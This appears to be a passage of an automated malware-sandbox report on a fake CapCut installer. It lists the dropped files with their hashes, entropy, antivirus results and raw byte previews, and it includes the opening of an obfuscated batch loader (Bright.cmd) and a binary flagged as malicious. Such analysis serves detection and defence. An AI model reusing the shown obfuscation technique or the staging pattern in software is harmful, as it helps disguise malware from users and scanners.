                                                                                                                                                                                                                                                                        SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                                        MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                                        SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                                        SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                                        SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\snapshot_blob.bin

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):273328
                                                                                                                                                                                                                                                                        Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                                        MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                                        SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                                        SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                                        SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\v8_context_snapshot.bin

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):588152
                                                                                                                                                                                                                                                                        Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                                        MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                                        SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                                        SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                                        SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vk_swiftshader.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):5334528
                                                                                                                                                                                                                                                                        Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                                        MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                                        SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                                        SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                                        SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):106
                                                                                                                                                                                                                                                                        Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                                        MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                                        SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                                        SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                                        SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vulkan-1.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):928256
                                                                                                                                                                                                                                                                        Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                                        MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                                        SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                                        SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                                        SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\530420\Classes.com

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                        Category:modified
                                                                                                                                                                                                                                                                        Size (bytes):947288
                                                                                                                                                                                                                                                                        Entropy (8bit):6.630612696399572
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                                                                                                                                                                                                                                                        MD5:62D09F076E6E0240548C2F837536A46A
                                                                                                                                                                                                                                                                        SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                                                                                                                                                                                                                                                        SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                                                                                                                                                                                                                                                        SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\530420\q

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):489417
                                                                                                                                                                                                                                                                        Entropy (8bit):7.9996139043740815
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:12288:Ske8IJYRCdaznA4nZJi3NqIXtJ9eE0bQpDQ4stlQ:TAgA4ZcpXxpDv
                                                                                                                                                                                                                                                                        MD5:CBD96BAC307B5DE5C6977B4255E9DD58
                                                                                                                                                                                                                                                                        SHA1:5271F15A127C90F0B9EB8E21707737B5EA5FAF26
                                                                                                                                                                                                                                                                        SHA-256:0255095E49DFC35EC5BC7148568F98A9D3AEA77B3F45E171DCE6C85A8F637214
                                                                                                                                                                                                                                                                        SHA-512:1C95C48BAAAA14F7BD56CFE9BAE1795BA417836DB5B5E2FCB9221A99AC0E71F705D6AAFAC7A3EB2C8D97ACC1237792B60E3114E47606C1F3E98A0899224C6BD3
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.g...I.+|P(!....}.W........3.....~.4...ecz/|..MxF........vHK....9E.I..$.p%.....X..9......{....-.....ER..Xo..d..b.1.U........+..Gg.L.$^.F.IK...|..:\......8.&. .......=^..rRJxs....(.l..F.....xUo1.?$....e......<..9..c.Q.2....#......+cM)..|&.i..j556..jX....k...5~.~.....*z.')....yy.0H..<s)..e.....O.Ib..s.......X.N..|._|3..f2v"G......{R.W.^p.=/.;.f....i..\sj.,.puo....]x$s.T..Fh.$o....T.G..|.....](k.d;..^.f.h-...l.b..<....W.*T.&.@............zM..z.1j..........AD..a..t. .+..S....~S.....I....um.n....y.F..V...+|9.L.m.....ot..L.`.Nc4D{..q.1...Y.(.L............E......=`ut......4T..{.M.sNq.gx.t...mTxWi...0..T..S.......1_5....jO...6N...Y.M.%..~...g..F.4....w.d9..w.;..5..C..I...t.@...?...@..............b.#.....=Y....l.....G.$.y......"Y2...&..n_]...:........)..P/..iWO.m..u..\5x.-12p.....#m}.`...3w.......6(W(.d4......r,..}......'.5.........d).....`.v{..D.\hQ~dC.?P.{....2..LSD..lu....'!..N$.n....7.y.qu.D..;.e.mo..@(..Y.....& ..i..h~.....Q.6.9\..P.....r

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Bright

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with very long lines (1260), with CRLF line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):28482
                                                                                                                                                                                                                                                                        Entropy (8bit):5.071835051267715
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:768:z5WpuQ7tLJgyz0as+LMPoV0mNeSxp8FIrNVU:z5WpuQ7t9FLUoGmNekpZJu
                                                                                                                                                                                                                                                                        MD5:30CCDDB994BB722D2FD90B90801497CE
                                                                                                                                                                                                                                                                        SHA1:F73299C3458F5B49F8CF1DAE5641227C494B2160
                                                                                                                                                                                                                                                                        SHA-256:46F8B6C89C7127CF001BA48606FBEB6FE1DE6BE6571132044D8BE6CE7D0D674B
                                                                                                                                                                                                                                                                        SHA-512:A4285AA8B1CA4FC851E58DC74711041AAE1E9FF3A80B9058D46D9E0FBBB6328CE29FD8D46D9D980E84E982B440947B7ACE599C3450E3934AFEF667047F377A5A
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Set Ecology=a..guFBreakfast-Plaintiff-..FptTractor-Absorption-..JSAuditor-Databases-Affecting-Treasure-Leads-..PyIsle-Columbia-Broke-Waterproof-Sunshine-..TzsSuits-Gov-Continually-Patches-Collectible-Sandy-Widescreen-..sorQDuplicate-Jaguar-Holidays-..RbTackle-Sexy-Apparel-Pad-Const-Innovative-Ladies-..kPOpportunities-..XZySStandings-Castle-Lolita-Excuse-Insertion-Upload-..ISRImprovement-Depends-Allowed-Ultra-Milan-..Set Lesbians=h..kiayPharmacy-Crisis-Aa-Recognize-Learned-Dynamics-Widescreen-Petite-Bed-..TBEncyclopedia-..GPAbove-Main-Statute-Stops-Respective-Deaths-Embassy-Nuts-Strikes-..OngCharity-Fibre-Cinema-Grenada-..oCTxColours-Costs-Cells-..YAArtificial-Hope-Committed-Folders-Mine-..PnHypothetical-Thermal-Hosted-Im-Term-Onion-Reviewer-..zIiThose-Ours-Harmony-Careers-Cds-Naples-Poland-Mar-..oHWorldsex-Qualify-Angeles-Boots-..Set Attitudes=8..meBLSavannah-Cancelled-Bureau-Appeals-Und-Limiting-..mxjCartridges-Kingdom-Phenomenon-Helena-..DCsVehicle-Spiritual-Desktops-Inches-..CQTrio-

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Bright.cmd

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with very long lines (1260), with CRLF line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):28482
                                                                                                                                                                                                                                                                        Entropy (8bit):5.071835051267715
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:768:z5WpuQ7tLJgyz0as+LMPoV0mNeSxp8FIrNVU:z5WpuQ7t9FLUoGmNekpZJu
                                                                                                                                                                                                                                                                        MD5:30CCDDB994BB722D2FD90B90801497CE
                                                                                                                                                                                                                                                                        SHA1:F73299C3458F5B49F8CF1DAE5641227C494B2160
                                                                                                                                                                                                                                                                        SHA-256:46F8B6C89C7127CF001BA48606FBEB6FE1DE6BE6571132044D8BE6CE7D0D674B
                                                                                                                                                                                                                                                                        SHA-512:A4285AA8B1CA4FC851E58DC74711041AAE1E9FF3A80B9058D46D9E0FBBB6328CE29FD8D46D9D980E84E982B440947B7ACE599C3450E3934AFEF667047F377A5A
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Set Ecology=a..guFBreakfast-Plaintiff-..FptTractor-Absorption-..JSAuditor-Databases-Affecting-Treasure-Leads-..PyIsle-Columbia-Broke-Waterproof-Sunshine-..TzsSuits-Gov-Continually-Patches-Collectible-Sandy-Widescreen-..sorQDuplicate-Jaguar-Holidays-..RbTackle-Sexy-Apparel-Pad-Const-Innovative-Ladies-..kPOpportunities-..XZySStandings-Castle-Lolita-Excuse-Insertion-Upload-..ISRImprovement-Depends-Allowed-Ultra-Milan-..Set Lesbians=h..kiayPharmacy-Crisis-Aa-Recognize-Learned-Dynamics-Widescreen-Petite-Bed-..TBEncyclopedia-..GPAbove-Main-Statute-Stops-Respective-Deaths-Embassy-Nuts-Strikes-..OngCharity-Fibre-Cinema-Grenada-..oCTxColours-Costs-Cells-..YAArtificial-Hope-Committed-Folders-Mine-..PnHypothetical-Thermal-Hosted-Im-Term-Onion-Reviewer-..zIiThose-Ours-Harmony-Careers-Cds-Naples-Poland-Mar-..oHWorldsex-Qualify-Angeles-Boots-..Set Attitudes=8..meBLSavannah-Cancelled-Bureau-Appeals-Und-Limiting-..mxjCartridges-Kingdom-Phenomenon-Helena-..DCsVehicle-Spiritual-Desktops-Inches-..CQTrio-

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Cigarettes

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):34152
                                                                                                                                                                                                                                                                        Entropy (8bit):7.176506284992056
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:768:ZOTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:8TGODv7xvTphAiPChgZ2kOE6
                                                                                                                                                                                                                                                                        MD5:2E1302DC0AA11C920168D5CAF265274E
                                                                                                                                                                                                                                                                        SHA1:67425F0F55C3E16C77C30B2CA506CF68AE0514BC
                                                                                                                                                                                                                                                                        SHA-256:9BB12167E1F42C8CFEE2F656A35837951BB7222ADE50F0D206ECE09B156D9698
                                                                                                                                                                                                                                                                        SHA-512:31D23E31ED70C94E91D614CCFA2C826FD17BA43ACC695CE7B5849CF61C594231DF693FFFE8FD4D1AEF6EA96F9DA71AC5E211001E4F3EC2C36A314BADD440F7E6
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.>$>,>0>6>:>@>J>T>^>i>q>u>{>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?.?#?-?8?@?D?J?N?T?^?h?r?}?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.`..4....0.0.0.0.0#0-070A0L0T0X0^0b0h0r0|0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.1#1'1-11171A1K1U1`1h1l1r1v1|1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2.2$2/272;2A2E2K2U2_2i2t2|2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3.3.3.3$3.383C3K3O3U3Y3_3i3s3}3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.4.4.4.4$4(4.484B4L4W4_4c4i4m4s4}4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.5.5.5&5.52585<5B5L5V5`5k5s5w5}5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.6.6.6.6%6/6:6B6F6L6P6V6`6j6t6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.7.7.7.7.7%7/797C7N7V7Z7`7d7j7t7~7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.8.8.8%8)8/83898C8M8W8b8j8n8t8x8~8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.9.9.9.9&91999=9C9G9M9W9a9k9v9~9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.:.:.:.:.:.:&:0:::E:M:Q:W:[:a:k:u:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.; ;&;*;0;:;D;N;Y;a;e;k;o;u;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.<.<.<(<0<4<:<><D<N<X<b<m<u<y<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Enjoy

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):138240
                                                                                                                                                                                                                                                                        Entropy (8bit):6.691798364377512
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:ZeOyKODOSpQSAU4CE0Imbi80PtCZEMnVIPPBxT/sZo:ZLsiS+SAhClbfSCOMVIPPL/sZo
                                                                                                                                                                                                                                                                        MD5:5FFFADC605445E862661970906AB24CF
                                                                                                                                                                                                                                                                        SHA1:EEF48B94C1B1BA006E9588EFFBF57A3CA37ACD2B
                                                                                                                                                                                                                                                                        SHA-256:A0C8151C6DF79C3D2FF088B23CE8DC10ED8EC1C1A42FC69ECBE86512F7E9F15C
                                                                                                                                                                                                                                                                        SHA-512:FDF040385A58E26E85ECAE22EF0FDF27630901F3E732A1B3453778D29A4B8ED20FE971CBA11AFCFAE106527599B5B97A02FD5579BAAD1F148DCA6EC9887640F0
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.r.j.X9G.|....?.o@.v..?...j.^.0..[_^..]......E..].P.].]....Y.........E.P....Y.........E.P....Y........._.....|.........vuj.X;..n|....{<.sd.E..+.E.P..M.V.]......YY....o...9E...*...V...Y.........E..)E.E.P.U.V....YY....9....F .........WV...YY.........}.........t.V.+...Y..t..E..E..F .......E..+.j.j<..SW.........y...<.......j.j<SW.........F....j.j<..SW.....F...y...<...F....j.j<SW........F....j.j...SW.i....F...y.......F....j.j.SW.k......|+....t..F...j.._...N..V..N.3..5.......|...s.F.....N...j.._...F..V........F......F...m....F..N..SSSSS.F&....U..].k.....U..M...%....y.H...@u.Vjd..^...^..t...]..l...............B.]..U..V.u.W.u..}.WV.7........u'NV....3.....+}...m......QWV............3.@_^]..U..SV.u.Wj.Y.F.....E.+.......u....I...+u.Y...j...s....}..+.^....m.......j..Y....l...|....t...k...|....t...j...|....u.........t....t.....u..C._^[]..U..V.u..u..u.V.V........u..F........F.^]..U..QQ.U.S...VW..Z........n..3...........e........g.........u.jbZRX..H...tJ..........E

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Hc

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):51200
                                                                                                                                                                                                                                                                        Entropy (8bit):4.9000285326417305
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:384:3HPmPuki09PrOa3HwwuBcozc/mwftIQXoSpu8888888888888888888888888883:3vmPukxhSaAwuXc/mex/p
                                                                                                                                                                                                                                                                        MD5:B070164483AA31BA64102BF117BC03AA
                                                                                                                                                                                                                                                                        SHA1:95147034A1BE7CD369B1DD9E073EEDC56DF312BB
                                                                                                                                                                                                                                                                        SHA-256:FF61BC1C237B62FE1B715E7EACE714376A242DD9002E49E1A5893BC74D3F810B
                                                                                                                                                                                                                                                                        SHA-512:F4E872AAD177FDEE64292168D0008421E148D5DD5AE9D1C9C10CE4483F5FF737E9A554AC07614304870246514DF4AA9FD68D3F4877ADCB85D5C4B2B4633FD0BA
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.......?.a>-..?=.......?...,..<..(lX .?.T@b. ==.P.....?.3.h,.%=...f.?.?.#.... =..V....?....6=.....Y.?...z. $=...G...? $.l.35=.@...n.?.[+...3=..R...?s.dLi.==.p.|..?r.x"#.2=.@.....?|.U...2=..l...?r..F..=...a...?.....4.=....Y..?sl.#{ =.`~R=..?...i.1=....,..?.... =...vX..?......=.p.....?h...}s"=...E[..?.%S#[k.=...7.H.?.....j.=..!V1..?..}.a2=..j.q..?2.0.J.5=.......?.....5.=.x./@.?.."B <1=..i..z.?.\-!y.!=.X.0z..?~..b>.==..:....?...#.X'=.HBO.&.?...(.~.=.x..bb.?.......=..C.q..?y7..i9+=...v...?......:=.0.....?2....8=.x.P.D.?X...1..=.......?.......?.....Q.?.....Q.?.......?.......?.......?.......?.......?.......?.......?.......?.....].?.....].?....P..?....P..?.... ..?.... ..?.....U.?.....U.?....(..?....(..?....`..?....`..?....._.?....._.?.......?.......?.......?.......?.....z.?.....z.?.....1.?.....1.?....p..?....p..?.......?.......?....(e.?....(e.?....@#.?....@#.?.......?.......?....`..?....`..?....hk.?....hk.?.....,.?.....,.?....x..?....x..?.......?.......?.......?.......?.....N.?

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Healthy

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
